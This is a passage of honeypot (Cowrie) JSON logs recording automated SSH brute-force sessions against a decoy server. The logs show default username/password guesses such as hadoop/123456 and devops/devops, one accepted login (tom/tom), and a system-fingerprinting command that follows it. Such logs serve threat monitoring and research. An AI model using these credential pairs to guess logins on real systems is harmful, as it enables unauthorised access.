0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:12.433290Z","src_ip":"95.38.165.118","session":"5944f905bf49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:12.954336Z","src_ip":"95.38.165.118","session":"5944f905bf49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:14.136029Z","src_ip":"95.38.165.118","session":"5944f905bf49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36748,"dst_ip":"10.17.0.5","dst_port":22,"session":"898c68efcf97","protocol":"ssh","message":"New connection: 95.38.165.118:36748 (10.17.0.5:22) [session: 898c68efcf97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:16.297322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:16.398437Z","src_ip":"95.38.165.118","session":"898c68efcf97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:16.495079Z","src_ip":"95.38.165.118","session":"898c68efcf97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:17.159542Z","src_ip":"95.38.165.118","session":"898c68efcf97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:18.898523Z","src_ip":"95.38.165.118","session":"898c68efcf97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36766,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d30d1ea25b3","protocol":"ssh","message":"New connection: 95.38.165.118:36766 (10.17.0.5:22) [session: 1d30d1ea25b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:21.204984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:21.210359Z","src_ip":"95.38.165.118","session":"1d30d1ea25b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:21.387075Z","src_ip":"95.38.165.118","session":"1d30d1ea25b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:22.373080Z","src_ip":"95.38.165.118","session":"1d30d1ea25b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:23.545594Z","src_ip":"95.38.165.118","session":"1d30d1ea25b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56686,"dst_ip":"10.17.0.5","dst_port":22,"session":"65ca558edef0","protocol":"ssh","message":"New connection: 95.38.165.118:56686 (10.17.0.5:22) [session: 65ca558edef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:26.714458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:26.719857Z","src_ip":"95.38.165.118","session":"65ca558edef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:26.884684Z","src_ip":"95.38.165.118","session":"65ca558edef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.28515005111694,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:27.516621Z","src_ip":"178.128.93.180","session":"117b59cd1787","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:27.828838Z","src_ip":"95.38.165.118","session":"65ca558edef0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:28.194767Z","src_ip":"95.38.165.118","session":"65ca558edef0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:28.197717Z","src_ip":"95.38.165.118","session":"65ca558edef0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:28.360559Z","src_ip":"95.38.165.118","session":"65ca558edef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:28.366026Z","src_ip":"95.38.165.118","session":"65ca558edef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56690,"dst_ip":"10.17.0.5","dst_port":22,"session":"771eb084ecea","protocol":"ssh","message":"New connection: 95.38.165.118:56690 (10.17.0.5:22) [session: 771eb084ecea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:31.905059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:31.910867Z","src_ip":"95.38.165.118","session":"771eb084ecea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39902,"dst_ip":"159.203.135.109","dst_port":23,"session":"92a8b417bc4c","protocol":"telnet","message":"New connection: 69.4.83.194:39902 (159.203.135.109:23) [session: 92a8b417bc4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:31.958370Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:32.074753Z","src_ip":"95.38.165.118","session":"771eb084ecea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:33.174500Z","src_ip":"95.38.165.118","session":"771eb084ecea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:34.337932Z","src_ip":"95.38.165.118","session":"771eb084ecea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.47403407096863,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:35.713195Z","src_ip":"69.4.83.194","session":"166973ac0809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57218,"dst_ip":"10.17.0.5","dst_port":22,"session":"de20b9bb9871","protocol":"ssh","message":"New connection: 95.38.165.118:57218 (10.17.0.5:22) [session: de20b9bb9871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:37.256637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:37.433026Z","src_ip":"95.38.165.118","session":"de20b9bb9871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:37.437592Z","src_ip":"95.38.165.118","session":"de20b9bb9871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:38.192755Z","src_ip":"95.38.165.118","session":"de20b9bb9871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:39.361643Z","src_ip":"95.38.165.118","session":"de20b9bb9871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.68163990974426,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:39.412685Z","src_ip":"69.4.83.194","session":"ce6cfff4dc6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57232,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2e7e13ba8ce","protocol":"ssh","message":"New connection: 95.38.165.118:57232 (10.17.0.5:22) [session: a2e7e13ba8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:42.419623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:42.425025Z","src_ip":"95.38.165.118","session":"a2e7e13ba8ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:43.116395Z","src_ip":"95.38.165.118","session":"a2e7e13ba8ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:43.605176Z","src_ip":"95.38.165.118","session":"a2e7e13ba8ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:44.767931Z","src_ip":"95.38.165.118","session":"a2e7e13ba8ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43506,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4fb566d33fb","protocol":"ssh","message":"New connection: 95.38.165.118:43506 (10.17.0.5:22) [session: c4fb566d33fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:47.336715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:47.342349Z","src_ip":"95.38.165.118","session":"c4fb566d33fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:47.495014Z","src_ip":"95.38.165.118","session":"c4fb566d33fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:50.713384Z","src_ip":"95.38.165.118","session":"c4fb566d33fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30902,"dst_ip":"10.17.0.5","dst_port":22,"session":"6983cdeb8462","protocol":"ssh","message":"New connection: 87.251.64.176:30902 (10.17.0.5:22) [session: 6983cdeb8462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:51.723659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:51.728467Z","src_ip":"87.251.64.176","session":"6983cdeb8462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh